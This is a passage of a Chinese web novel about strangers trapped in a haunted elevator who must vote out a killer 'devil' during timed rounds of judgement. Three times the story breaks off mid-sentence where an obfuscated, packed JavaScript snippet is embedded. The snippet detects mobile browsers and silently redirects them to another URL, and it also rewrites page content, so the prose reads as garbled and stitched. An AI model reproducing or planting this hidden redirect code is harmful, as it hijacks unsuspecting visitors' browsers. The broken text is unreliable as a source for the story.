你陷入了一种完完全全的黑暗。 骆寻讨厌黑暗。 鬼城的四周就是一片无边无际、不管黑夜白天的黑暗,它让鬼城变成了一座孤立的牢笼,无论是人是鬼,都只能困在里面苦苦挣扎,永世不得超生。 骆寻曾经走进那片黑暗,当她望着前路,发现自己失去了全部方向感,耳朵里只剩下走动时自身骨骼摩擦的声音时,她退缩了。 在那片黑暗中,人只能煎熬地等候死亡……骆寻甚至一度以为,那就是死亡。 骆寻很难去对比这两种黑暗的好坏,她正试图抓紧外套确认什么……可是没有,她还是什么也感知不到! 她瞬间慌了神,恐惧如潮水般袭来。 可就在这时,一抹猩红色忽而如同鬼火般亮起,跃动,闪烁: 「00:14:59」 「00:15:00」 「00:14:59」 寿命余额在这一秒钟内反反复复,不知是出现什么bug,它跳动得越来越疯狂,像是要挣脱某种束缚,又像是在用尽全力提醒骆寻——这不是死亡,你还没有死! 来不及思索更多了……骆寻逼着自己去数跳动的次数,什么也不要想,黑暗很快就会结束的! 不知过去了多久,轿厢内的灯光还未亮起,骆寻便率先察觉到了一份冷冰冰的重量。 是它,它回来了……骆寻把外套紧紧地扼在怀中,只有这样,她紧绷的神经才能得以喘息。 她情不自禁地埋下头,她必须要再闻闻它的味道——可是就如同被按下了暂停键般,骆寻猛地屏住呼吸。 一股腐臭味,一股垃圾一样腐烂的腥臭味,率先钻入了她鼻间。 骆寻曾经日夜都能闻见这股味道,那是鬼城街边游荡的鬼怪身上散发出的气味! 电梯里刚刚出现了鬼怪! 她不是已经离开鬼城了吗?怎么还会遇见鬼怪!? 骆寻的神经瞬间再度紧绷,她小心翼翼地用手臂护住外套,缓缓抬头。 她看见了……一根红线? 暗红色的,湿润的,比鱼线粗不到哪里去,微微反着光,幽灵般游弋在几道浓黑的人影间。许是察觉到有人苏醒的视线,红线骤然绷紧,猛地一缩,箭一般收向其中一道人影,瞬间消失得无影无踪! “咚!”“啊!!他、他……!” 下一秒,红线消失的方向,什么东西撞上墙壁的闷声和女人的尖叫一同响起。 灯光彻底亮了起来,雪花在屏幕上闪烁,发出“滋滋”的电流声。 “死、死人了!” 伴随着尖叫,一团温热的东西猛然撞击在小腿上,李明尘刚刚睁眼,甚至来不及痛呼,瞳孔便急剧收缩——那居然是一颗通红肿胀、表情狰狞的脑袋! 用颗来描述或许并不合适,因为这只脑袋还连在肥壮的身体上,只是一动不动。 中年男死了。他拥挤地躺在地面上,这是个令人意外,又不太意外的结果。 他的嘴张得大大的,青筋用力鼓起,从脖子延伸到额面上,一根根,一条条,就像毛毛虫藏在了皮肤下面。 他的一双眼也睁得大大圆圆,红血丝占据了眼白的每个角落,诉说着他的幽怨、不甘、恨毒……他死不瞑目啊! 他生前最后脱出的话依稀回荡在轿厢里: “我如果死了,你们也全都会死!” “我做鬼也不会放过你们!!” 李明尘深吸了口气,立即俯身伸手,覆盖住了中年男的双眼。 随后,他动作相当熟练地就检查起了尸体。 中年男脸上狰狞,衣物却整齐,身上没有任何打斗的痕迹。 致命伤是脖颈上的一道细红勒痕。 “……他是被勒死的。”想到这代表了什么,李明尘面沉如水。 他的目光一点点扫过众人,最后,又落在了依旧牢牢关着的电梯门上。 门没有任何要打开的迹象,唯有金属的反光冰冷刺目。 “游戏还没有结束。” 就在他话音落地的同一时刻,显示屏所发出的电流声骤然加剧! “滋、滋!”红光重新亮起,一大段文字取代了原本的倒计时,正快速跳动着: 【第一轮审判对象:李柏(曾用名:施伟) 一○七九年,○月八日,审判对象出生于东林市人民医院。 …… 一○九五年,十二月○日,审判对象于张姓村民家中吃席,并向王□□、孙□、□□三人提议盗取礼金。 此三人接受提议,并在夜间潜入张姓村民家中,审判对象因心生恐惧,临时拒绝行动,留在院门外。 孙□作案时不小心撞翻房中蜡烛,火情迅速蔓延,张家满门皆丧生火海。 孙□三人自后门连夜潜逃,审判对象久等不见同伴,进入院中,留下了此生难以磨灭的阴影。 …… 审判对象配合警方结束调查,回到东林市家中,并改名为李柏。 …… 二○零一年,审判对象成立松柏国际贸易有限公司。 …… 二○二五年,十月六日,审判对象收到短信邀请,前往国际大厦。 …… 经过投票环节,李柏获得四票意见,他接受了审判。】 【魔鬼杀死了他。】 中年男的一生就这样以文字的形式,以堪堪让人阅读的速度,在众人的眼前略过。 最后,那文字说: 【很遗憾,审判对象李柏并不是魔鬼。】 【深渊就在眼前,魔鬼已经开始杀戮,你们的时间不多了……现在,请进行第二轮审判!】 【第二轮审判:00:09:59】 「00:14:58」 几乎同一时刻,在那一秒钟里卡死的寿命余额也重新恢复了跳动。 「您当前寿命已不足十五分钟,请立即击杀鬼怪获取余额!!!」 红字加大加粗,在骆寻的视网膜上剧烈跳动着。 电梯内有鬼,鬼要做什么?它已经做了什么?游戏还没有结束,余额却就要耗尽——骆寻的脑子霎时乱作了一团。 谁是鬼?谁又是魔鬼? ……一片混乱中,她又对上了一双犀利,而且愤怒的眼睛。 小白脸,纤细的脖颈,是李明尘。他好像在说什么,嘴唇一张一合,可是骆寻听不清。 嗡鸣声挤满了耳畔,仿佛有千万根针正扎进大脑,骆寻把头埋进外套里,努力找寻着这最后属于她的安定——终于,就如同察觉到了她即将崩溃的理智,外套轻轻鼓动了一下。 骆寻怔住了。 她一时间不知道是该高兴,还是该担忧,不过很快她就想不了那么多了,因为下一秒,她耳畔的声音就清晰了起来。 “……他没罪!” 骆寻反应了片刻,才明白李明尘是在说什么。 “嗯,他没罪。”她复述着,而后又像是经历了大脑重启般,忽然意识到不对,“屏幕说了李柏没罪吗?” “没说吧。”不等任何人说话,骆寻便自问自答,又再反问,“那李市政你在说什么呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342974|199446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李明尘:“……” 看着眼神莫名清澈起来,不知是真傻还是正在装傻的骆寻,他一时语塞。 “配合警方结束调查,回到家中”,虽然不知道中间具体发生了什么,可这于李明尘而言就已经说明了一切。 李柏没罪,他本不必接受审判,更不必死去。 但……真的还有必要再跟她争论这个吗? 一个连规则都还没搞清的游戏新手,她应该根本就没想过会造成现在的后果吧。 “游戏新手”在他兀自纠结沉默间,已经彻底完成了开机重启。 骆寻很振奋。 同伴的复苏让她就像饮下了一大瓶生命药水,尽管寿命余额红字即将告罄,她还是仿佛看见了“生命值+100+++”的绿字。 就算这还不是最终的结果,游戏也当真有用! 这对于骆寻而言就足够了! 不就是接着找魔鬼吗? 轻轻抚摸着外套,骆寻目光一转,落在了地上的中年男尸体上。 首先,她得先确认鬼和魔鬼之间的关系。 【第二轮审判:00:08:34】 方才还生龙活虎的中年男转眼死相凄惨,他的生平被规则那么粗略、又那么清晰地一笔带过,文字是轻飘飘的,还在闪烁的红光却如有千斤重,像血一样,泼洒在每个人的脸上。 没人知道凶手是谁,也没人知道下一个会不会就是自己,人们互相猜疑着、沉默着——直到那个打扮奇怪的少女忽然趴伏在了地面上。 轿厢的空间本就不大,如此一来更为拥挤,几乎没有下脚的地方。 “妹妹,你干嘛呢……?”白领女发自真心地感到疑惑。 骆寻没应声。她整张脸几乎都贴在了地面上,哪还有功夫说话啊! 她回忆着那根红线出现时的情形,鼻尖就像某种猫科动物一样,不断翕动着。 那只鬼应该是先触碰了她的外套,它想做什么,但没成功……它掉头直奔中年男而去了。 刚刚凑近中年男的脖颈,骆寻便被垃圾一样的腐臭味熏得想要做呕。 勒痕的粗细也与那根红线大致吻合。 确定了,她那时见到的红线鬼就是杀死了李柏的魔鬼! 这很符合骆寻的刻板印象,鬼怪丑陋、扭曲、充满恶意……可它们往往无所顾忌,行事不该如此小心。 难道,它也受到了游戏规则的限制吗? 可惜,味道在中年男的身上最为浓烈,这种浓烈在某种程度上掩盖了红线的行踪。 骆寻的方向感本来就不太好,又受到黑暗的影响……她记不清红线最后缩向哪里了。 她只能直起身,又看向电梯内的众人。 每个活人各占一角,李明尘和白领女同侧,皆一言难尽地望着她,老太太则在她们对面的角落。 老人自第二轮灯亮起便始终一言不发,她的眼神中既没有大仇得报的欣喜,也没有面对死亡的恐慌,谁都不知道她在想什么。 照理来说,她才是最有动机杀害李柏的人…… 骆寻同她对视片刻,老人忽而从口袋里拿出一块手帕,指了指她的脸颊,“姑娘,脸蹭脏了。你擦擦吧。” 骆寻怔了下,接过手帕,“谢谢啊……” 手帕很旧了,洗得发白,散发着一股淡淡的肥皂芬芳。 很久没受到过这种小事上的关心,骆寻有些不自在。她胡乱擦了一把就想把手帕还给老太,脑海中却有一根弦倏的拨动——对了!红线消失的时候,尖叫之下还有一声闷响! 那声音就像是脑袋被驴猛地踹了一脚! 骆寻连忙看向了中年男的脸颊。 5. 电梯有鬼5 在那张因为窒息而充血肿胀的脸庞上,一道低粗跟鞋印赫然在目。 鞋印不重,在侧脸颊,灯光昏暗的情况下很容易就会被人忽视。 她的猜测不错……骆寻环视了一周,目光最后落在白领女的脚上。 只有她穿着一双女士粗跟皮鞋。 如同察觉到了什么,那双脚在骆寻的注视下忽然局促地交错起来。轿厢就这么大,她的遮遮掩掩相当明显且毫无意义。 许是也意识到这一点,没过几秒,白领女便蹲下身,与骆寻平视。 “妹妹,你发现什么了吗?” 白领女其实有着一张平凡且亲切的脸庞,近距离观察下,骆寻甚至能够看见她脸上细小的绒毛。 当她的声音不再拔高,红光填充上脸颊的凹陷,也模糊了她的疲惫与尖锐,她看起来就像是亲戚家那位不常见面、却总会在节假日准时准点发来祝福的表姐。 如果这位表姐不可能是鬼就好了。 “你踹了他一脚。”骆寻定定望着她,“在灯光还没有亮起来的时候。” “你早就知道脚下躺着一具尸体吗?” 白领女愣了下。 直到骆寻开始向她凑近,鼻翼微微翕动,就像是在找寻什么——她猛地后退了一步,捂住嘴,睫毛颤抖着,“抱、抱歉!我当时实在是太害怕了……我怎么都没想到李柏会死……你、你能离我远一点吗?我现在不想和任何人接触……” 李明尘有些不忍地说:“没有人会想经历这一切……这不是你的错。” 骆寻还什么都没来得及闻到,而白领女把话说到了这份上,她只能停在原地。 白领女认得很干脆,恐惧也不似作假……但骆寻却总觉得有哪里奇怪。 想了想,她又问:“你真的没想到他会死吗?” 白领女:“你……这话是什么意思?” 上一轮发生的一幕幕正在骆寻的脑海里回荡,她说:“之前难道不是你一直在暗中刺激李柏吗?” “你质疑他身份有假,你说谁知道他是不是又在撒谎,你觉得他就是魔鬼……” 回忆来到倒计时归零之前,倏然间,骆寻顿住了。 她盯着白领女,看她被汗打湿的额发,被阴影勾勒得再度瘦削的脸颊。 她的眉头皱了起来,眼睛就像某种鹰隼一样,紧紧锁定着她,她问:“投票,是什么意思?” “审判,投票,快——”骆寻复述着白领女在黑灯前一刻的尖叫,“规则从未写明审判的方式,就连这位明显有着更多经验的李市政,都不敢断言审判如何进行,你是怎么笃定要投票的?” 白领女:“……” 她就像是被骆寻的问题打懵了般,整个人都僵住了。 【第二轮审判:00:07:28】 红光幽幽闪烁着,一明,一暗,时间在这一刻仿佛也被拖长。 骆寻等不下去了,她站起身,她才不管什么不想和人接触,她必须现在就要确认—— “啊!你、你离我远一点!”白领女猛然爆发出一声尖叫,她几乎是连滚带爬地奔向了李明尘,求助似地一把抓住他的衣袖,“我就是随口一说啊!我之前参加过类似的游戏,我特别害怕,我控制不住,可以了吗?你满意了吗?别再靠近我了!!” 不过一个眨眼间,白领女便将整个人都藏在了李明尘身后,好像对面的骆寻是什么洪水猛兽。 轿厢里只剩下她尖锐的嗓音回荡不休,骆寻与李明尘面面相觑,一时间动也不是,不动也不是。 “……我有这么可怕吗?” “没有吗!?”抓住一面挡箭牌,白领女说话便好似也更有底气了些,她深吸了口气,“那些游戏不都是用投票来决定胜利的吗?我就是随口一说,你别再抓着我不放了行吗?这根本就不算怀疑的理由!” “更有嫌疑的还大有人在呢!李市政,你说是不是!?” 李明尘原本正有些不知所措,闻言却下意识地看了老太一眼。 意识到自己在想什么,他脸上的表情一时间复杂至极。 衣袖被摇晃着,不断催促着他开口。 “这确实不能算作怀疑的理由。”终于,李明尘说,“我们不要再陷入文字狱了……李柏的死,教训还不够吗?” 骆寻只觉得听李明尘说话可真够累的。 她也懒得想太多了,直接便问:“什么意思?你想怎么做?” 李明尘沉默了一会,指向地面中年男的尸体:“我们应该讲究事实与证据。人是被勒死的,有痕迹,既然有痕迹,那么凶器也一定在电梯之中。” 在这个有鬼怪存在的世界讲究证据吗?那很有新意了。 骆寻听得想笑,她抿直了嘴角,看李明尘就好像在看一个外星人,“如果没有找到证据怎么办?” 岂料李明尘竟直接忽视了她的问题。 他径自看向自第二轮起便少有发言的老太,道:“老人家,您手上的念珠可以借给我看一下吗?” 老人撩起眼帘,她有些不解,融化的嘴唇抖动了两下,却没有任何声音发出。 她轻轻解下了念珠。 然而就在她要把念珠递交给李明尘时——一道身影倏然挡在了她身前。 “你是要搜身?”骆寻怀抱外套的手微微收紧,脸上写满了不赞同。 不明白女孩究竟为何横拦竖挡,李明尘头痛地按了按太阳穴,他无奈地看着骆寻,就像在看一个捣乱不听话的小孩。 这个新玩家怎么就一身莫名其妙的反骨?这种不听话的新人最难带了…… 就在李明尘思索该如何解释时,白领女说:“别杠了,妹妹。” “不搜身,难道要像你那样把所有人都怀疑一遍,然后再投一遍吗?”不等骆寻反驳,她便继续说,“我们也只不过是想找到魔鬼罢了……你别忘了,只有她跟李柏有仇!也只有她有杀人的动机!” “不是……”不是找魔鬼吗?和杀人动机有什么关系? 白领女却又打断了她:“我知道你怀疑我。你放心,等会我也把身上的东西拿下来随便你搜,你现在就先别添乱了,好不好?” 哄小孩呢?从白领女的态度中感受到一种诡异的轻视与包容,骆寻如鲠在喉。 但是不行,不能让步!搜身对于找鬼来说根本毫无意义!更何况,她还有着绝对不能被搜身的理由—— 骆寻短暂的静默似乎令白领女察觉到了什么,她从李明尘身后幽幽露出了一只眼睛。这只眼睛在红光下转了转,忽而眯起,看向了她怀中的外套。 “你还是不同意吗?妹妹?哦,我知道了……你身上也还有疑点没说清呢,你是有什么东西不能给我们看吗?” “你是不是不想被搜身呀?” 骆寻的瞳孔在一瞬间急剧收缩。 她盯着那只泛起笑意的眼睛,清晰地感受到了一种报复般的挑衅。 “我……”她没有办法反驳,她确实不想要被搜身。 可白领女是怎么察觉到的? 她表现的有这么明显吗?骆寻觉得自己的伪装不说无敌,好歹也算中上吧?至少,李明尘不就从未察觉到她外套的异常吗? 她的同伴……她究竟该怎么办? 手指扣上了外套,骆寻犹豫着。而那只眼睛还在微微笑着,盯着她,好整以暇。红光汇成一点呈在其中,轻轻地闪烁与晃动。 忽然间,骆寻停住了。 她好像,又看见了红线。 很多很多根红色的丝线,像毛线球一样抱团簇拥,又像是鲜艳的饵虫,它们很小很细,可是蠕动得又那么清晰。 它们就藏在那只眼睛里……藏在那点红光中,歪歪扭扭,不知何时就会从晶状体里爬出来,爬出瞳孔,爬出眼眶,然后爬向她—— 那只鬼曾在黑暗里触碰了她的外套……是了,之前也是她,只有她——特别关注她的外套! “你……!”果然是你!真的是你! 骆寻瞪大了眼睛,浑身的肌肉都在霎时紧绷,可她刚才上前一步——那只眼睛一眨,便施施然消失在了李明尘的身后。 眼前只剩下李明尘正警惕地望着她,双臂微展,呈现出一种保护者的姿态。 “你的外套……” “……” 红光幽幽,而红线早已无影无踪。 骆寻就犹如被一桶冷水泼下,整个人都被钉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342975|199446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了原地。 【第二轮审判:00:06:36】 一只温热的手在这时轻轻拍了下骆寻的肩膀。 “姑娘,你是个好人,神明会保佑你的。”老人嘶哑的嗓音旋即响起,“但是有些事情早便已经注定,我们都没有办法违抗。” 骆寻:“……?” 老人的语调很慢,在不知不觉剑拔弩张的氛围中,她的声音就像是一道不合时宜响起的舒缓配乐。 “我愿意接受审判。就像我曾经说过的一样。” 这一刹那,所有的目光都落在她的身上,她带来了一种真正的寂静。 可她仿佛浑然不觉。话罢只是窸窸窣窣、自顾自地从身上解下东西,念珠、按键式手机、打着补丁的钱包……她从钱包里只单单拿出一张小寸照片,其余一并都交给了李明尘。 念珠落在手心,似乎还带着老人的体温。 李明尘显然也没有想到老人会如此作为,他怔了怔,声音艰涩:“您这是……认罪了?” 老人却不再说话了。 她把那张照片合拢在手心,最后看了眼地上的李柏。 她的目光依然是那么平静,就像地上死去的只不过是一只毫无干系的臭虫。而后,她阖上眼,跪伏下身,双手合十小声地诵念着:“我完成了您赋予我的使命,神明保佑,请接引我前往您的神国……请接引我前往您的神国……” 她瘦小的身躯虽然跪伏,脸庞却高高仰起,她在真切地渴求着什么。 “请接引我前往您的神国……” 红光洒下来,模糊了烧疤,恍然间,仿佛真有神明听见了祈祷,降下圣光,赋予她鲜活的生机。 【第二轮审判:00:05:41】 静默,良久的静默。 除去老人那沙哑低沉的诵念声,很长时间都没有人再说话。 李明尘攥着念珠,也打量着念珠。 手中的珠串由某种深色的木头打磨而成,尾部挂着枚金属吊坠。 吊坠并非是骆寻曾经囫囵一瞥看见的圆形,而是两端尖尖的杏仁形,中间包裹着一个长方形,是很现代化的几何图形设计。 这图案,李明尘是眼熟的。 以往每次登陆游戏时所使用的APP,它的标志也正是一个杏仁形,只不过内里包裹的图形不太一样。 难道,那个象征正式游戏副本,老太太的这个象征内测游戏副本……? 不,这不应该是重点…… 李明尘猛地摇头,他轻轻拉扯开念珠,定睛观察着。 黑色的念珠,黑色的线,在头顶红光的笼罩下,仿佛也被镀上了一层血红色。 李明尘看看念珠,看看老太太,又看看中年男脖颈上的勒痕。 ……线的粗细与勒痕几乎完全吻合。 但假如念珠就是凶器,那她就必须先解开绳线上的死结,捋下珠子,等杀完人,再把珠子一颗一颗地串回去。 想象一下,一具尸体倒在你脚边,那是刚刚被你勒死的、活生生的人。 他死了。而马上你就要面临第二轮审判。 人们会知道魔鬼另有其人,她们会怀疑到你的身上。 你必须尽快让绳线一颗一颗、穿过珠子上细小的孔洞。你的手不能抖,你不能有任何遗漏,你也不能留下任何痕迹。 想好要怎么抗辩了吗? ……你为何毫不抗辩? 老太太干脆的认罪态度推翻了李明尘此前在心中所有的假设。 越想,他的大脑便越是乱作一团。 “救救我,我不想死啊!” “我真的……什么也没做过。” 中年男最后的哀求声依稀又回荡在耳畔,最后,他说:万一你又错了呢? 你还能再承受一次错判吗? 【第二轮审判:00:05:03】 李明尘扯出了一个比哭还难看的笑脸。 “诸位……我们现在有四个人,四张票,这是偶数,刚刚好。”他小心翼翼开口,话音微微发着抖,他根本不敢看向任何人的眼睛,“呃,我是说,我只是有这样一个提议……我们有没有一种可能,能够达成平票的局面?” 6. 电梯有鬼6 在李明尘兀自挣扎,大脑乱作一团时,骆寻也因老太这疑似认罪的态度感到了难以接受。 “……什么叫作早已注定?”她跟着蹲下身去,攥着老人衣角,小声问着,“什么叫作我们都无法违抗?” “你明明没有杀害李柏,为什么要接受审判?” 她的问题一个接着一个,可老人充耳不闻,只是一刻不停地诵念着。 “奶奶,你信仰的是哪位神明?神明真的能够实现心愿吗?” 直到骆寻问出这句话,老人诵念的声音才顿了一顿。可也仅仅一顿,她的眼球在眼皮下滑动,始终没有睁开。 “神明保佑,神明保佑……我是您最忠诚的信徒,请接引我前往您的神国……” “……” 一种无力感席卷了骆寻全身。 难道要放任老太太就这么出局吗?一想到白领女只需躲在李明尘身后便可安然无恙,骆寻就像浑身都有虫子在爬一样,难受的要死。 明明白领女才是魔鬼啊! 老太太显然是无法再交流了,骆寻只能站起身,沉着脸看向轿厢的另一侧。 要想白领女在这一轮出局,她必须得再争取到一票。 恰巧此时,李明尘露出了那个比哭还难看的笑脸。 “……我们有没有一种可能,能够达成平票的局面?” 如同一声惊雷在平地炸响。 “不行!!” “哈?” 骆寻这下是真的像看外星人一样看着李明尘了,她感觉非常不可思议。 他是怎么想出平票这个提议的? 他居然宁可平票,都不肯考虑一下白领女身上的疑点吗? 白领女同样不可置信,她甚至从李明尘身后探出了头,“绝对不行!下一轮就是最后一轮了,我们这轮必须要投出一个人啊!!” 两个人的目光都死死钉在李明尘的身上,而这位焦点,却抛下枚炸弹便自顾自垂下了头,讷讷不言。 “你不是老玩家吗?”看着李明尘哪怕这样还拦在白领女身前,骆寻气不打一处来,“老玩家就是和稀泥,当搅屎棍?” 若非亲眼见到红线来自于白领女,骆寻简直忍不住要怀疑李明尘才是真正的魔鬼。 试问平票对于眼下的局面,有任何好处吗? 平票就能够安然无恙?假如魔鬼依旧照杀无误呢?那她们岂不是就错失了一轮投出魔鬼的机会? 骆寻思来想去,都觉得平票唯一利好的只有魔鬼。 ……等等,那白领女为什么也反对投票? 她刚刚说了什么? 骆寻觉得自己隐约抓到了什么,她将目光又重新投向白领女:“下一轮就是最后一轮了?必须要投出一个人?你怎么又这么笃定?” 白领女:“……” 就像子弹上了膛,却卡了壳,险些炸膛伤到自己,白领女一时语塞。 这女孩还真就紧抓着她不放了是吧? “你怎么又搞文字狱?”她扯了扯嘴角,讥讽道,“妹妹,你动动脑子好不好?” “你难道就没发现吗?第一轮是十五分钟,第二轮是十分钟,那么下一轮——” 若以此推论,下一轮审判将只剩下五分钟。 再下一轮……不会有再下一轮了,第三轮审判就将是一锤子买卖! 如果她们依旧不能“找到祂,审判祂,杀死祂”……当第三轮的审判倒计时归零,她们就将全部坠入深渊! 届时电梯会重新坠落吗?黑暗会永恒降临吗? “我们真的可以浪费这一轮投票吗?”白领女情真意切,“李市政,我知道这是个艰难的决定,你想要争取更多的时间,但是……我们真的等得起吗?” 有一支无形的针管早在起始便已伸入轿厢,直到这一刻,它才真正显形,它已尖锐地直逼咽喉! 氧气被它大肆抽取,所剩无多。 李明尘是最喘不过气的那个人,他觉得半分钟前提出平票的自己真是蠢爆了! “对不起,对不起……” 不投票就没有人会死吗?不投票所有人都会死! 根本就没有第三条路存在,也根本就没有永远正确的万全之策。 「00:09:27」 「您当前寿命余额已不足十分钟,请立即击杀鬼怪获取余额!!!」 早在“第二轮审判”的倒计时迈入四分钟之际,骆寻的眼前便又弹出了大片猩红的警告,密密麻麻,就像是电脑中病毒时怎么也点不完的窗口。 可这次她却根本没有多余的功夫去理会它。 “你最先点明了这是电梯冲顶,你说我们全都是注定死亡之人……”骆寻拼命回忆着自见到白领女以来她身上的每一处细节,“你并不主动吸引目光,一直在暗中推波助澜……你把尸体踢了出去,你不想招惹怀疑……” 【第二轮审判:00:04:04】 白领女看着李明尘脸上痛苦的挣扎,满意万分。 她猛然站起身,视若无睹般跨过了李柏那狰狞怨毒的尸体,她走过来,来到骆寻身前。 “滋滋”的电流声隐约自头顶响起,地面上,老人嘶哑地低诵,李明尘沉重地喘息。有着张浅淡面孔的女孩自顾自念叨着什么,她的瞳孔有些失焦,心跳声却很重,很快,每一下都跳得那么清晰。 白领女的目光情不自禁落在她怀中的外套上,她在探究,在垂涎,她想伸出手却又不敢……不,这不该是眼下的重点! 白领女强迫自己把视线挪回到女孩脸上,她伸出手,板住了她的脑袋,也强迫她看向自己。 她冰凉的手紧紧抓住了骆寻的发顶,可骆寻却仿佛什么也没察觉,她还沉浸在自己的思绪里。 “必须要投出去一个人……为什么?” 透过寿命余额系统编织而成的红膜,骆寻只能看见白领女的脸被模糊、分割、扭曲。 直到白领女尖细的嗓音划破一切嘈杂:“为什么?你睁大眼睛看看,我们已经没有别的办法了!不投出去一个人,我们所有人都会死的!”她高喊着,逼迫骆寻朝向了老太,“她都已经认罪了!投给她啊!这么简单的事情你都不会做吗!?” “能不能不要再抱有不切实际的幻想了!!” 倏然间,骆寻回忆起了初见红线鬼时心中的困惑。 鬼怪丑陋、扭曲、充满恶意,行事往往无所顾忌,它们不该像白领女这样小心。 除非—— “你也受到了规则的限制。”骆寻一把抓住了头上的这只手。 她把头转了回来,她的瞳孔重新聚焦,白领女的脸正在视野中重组。 她笃定地望着她:“绝对不能平票,因为你只能杀死得票最多的那个人。” 一瞬间,白领女脸上的疯狂仿佛被按下暂停键般僵住了。 “那身为魔鬼,取得胜利的条件又是什么呢?算了,这不重要……”骆寻不是很在乎她的反应,她越过她,转而在轿厢中寻找李明尘的身影。 “李市政……”正准备开口,看着李明尘那张不知所云的脸,骆寻又顿住了。 该怎么说服李明尘这一票?这是个难题。 ……好头痛,她真的很不擅长于玩这种游戏啊! 【第二轮审判:00:03:12】 骆寻只能开始尝试。 “她才是真正的魔鬼!”她顺势举起方才抓住的、白领女的手,“李市政,你好好地想一想,我提出的那些疑点,当真只是虚无的文字狱吗?” 白领女不得不回神,她拼了命的挣扎、想要甩开骆寻的手,可那女孩瞧着纤细,力气却大得惊人!五根手指简直就像一柄铁钳,牢牢地桎梏着她! 她没招了,只能也再度拔高嗓音:“那不是文字狱还能是什么?快点放开我!你是要害死我们所有人吗!?” 骆寻充耳不闻,只定定看着李明尘。 “灯亮起的时候,尸体就躺在她的脚下!李市政,你不觉得那一脚很做贼心虚吗?假如人一死,灯就亮了……” 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342976|199446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领女:“你能不能别耍嘴皮子了!你有证据吗?你能不能拿出点实在的证据来!” 骆寻:“她身上的所有疑点,都只有她是魔鬼才能解释得清!” 白领女:“我真服了!你这完全就是诬陷!你含血喷人!!” 骆寻:“她最先点明电梯冲顶,她一直在引导恐慌,她甚至……一开始就在电梯里!你信她说她是睡过了头吗?” 白领女:“那你要这么说,你的来历你说清了吗?你外套里的到底是什么!?” 骆寻:“……” 有点心虚,但气势绝不能输在这! 骆寻深吸了口气,干脆把自己的猜测一股脑都说了出来:“审判,投票,快……下一轮就是最后一轮了……我们都是注定死亡之人……李市政,她对于规则的熟稔与笃定,你当真一点也看不见吗?” “她甚至自己也说过,她玩过这场游戏,所以她才早就知道全部的规则——她就是真正的魔鬼啊!” 她说过她玩过这场游戏吗? 白领女怔了下。 ——她没说过啊! 轿厢陷入须臾的静寂,片刻,白领女反应过来,却已经晚了。 【第二轮审判:00:02:28】 “为什么不立刻反驳我了?”骆寻看向她,脸上的表情有些莫名,“你真的玩过这场游戏,对不对?” “……”短暂的沉默之后,白领女猛地开始更加大力的挣扎,她甚至连脚都用上了,四肢到处扑腾。 骆寻放开了她。 白领女一把扑到了李明尘身前,等抓到李明尘的衣袖,她这才像找到了安全感般,又猛然回头看向骆寻,“妹妹,你说得我差点都要信了……但这只是你的一个推论吧?我为什么要杀他?我用什么杀他?我有能力杀他吗!?” “你怎么不想想这个!” “你能不能不要再在我身上浪费时间了!?” 【第二轮审判:00:01:19】 相同的轿厢,相同的红光,瘫坐在脚边的却换了一个人。 “她才是杀害李柏的凶手!只有她有动机,也只有她有凶器啊!” “李市政,看看你手里的念珠……那就是凶器啊!她甚至就是为杀李柏而参加游戏的,她都已经承认了!” “李柏也说过她是鬼……当年的那场火灾根本就没有人活下来,你们忘记了吗?” 【第二轮审判:00:00:31】 尖细的女声像针一样刺激耳膜,有太多太多的声音正在李明尘的脑子里鼓胀。 “她的神明……你们真信这世上有神吗?她的神会不会就是这场游戏的缔造者?” “她就是魔鬼,她想把我们全都献祭啊!” “李市政,我们不能分票……我们不能让魔鬼赢得游戏啊,你有经验,你一定明白我在说什么!” 【第二轮审判:00:00:16】 “李市政,我们都只不过是想要活下去的普通人罢了……” “李市政,你已经错了一次,你还要再错下去吗?” 女人的哀求声与上一轮的李柏渐渐重合,她瘫在他脚边的身影也是如此相似—— 恍然间,李明尘仿佛真的看见李柏坐了起来。 那双死不瞑目的眼睛在十分钟前被他合上,现在却又用力地睁开了。 他静静地望着他。 “李市政,你对得起我吗?”他说。 “啪嗒。” 李明尘手中的念珠线兀然断了。 暗色的珠子噼里啪啦地从他掌心滑落,一颗,两颗,三颗……有的摔在地上,有的摔在了李柏的尸体上。 他的眼睛当真是睁开的,清晰倒映出他的脸,他全部的挣扎。 【第二轮审判:00:00:03】 “对,我们不能平票。”李明尘哆嗦着嘴唇,颤抖地闭上了双眼,“我们,把票投给……” 【第二轮审判:00:00:00】 黑暗又一次笼下了。 7. 电梯有鬼7 “我们,把票投给……” 就像是某种三流的恐怖悬疑片,正是激动人心的时刻,所有人都在期待,所有人都在紧张——导演却偏偏选择了拉灯! 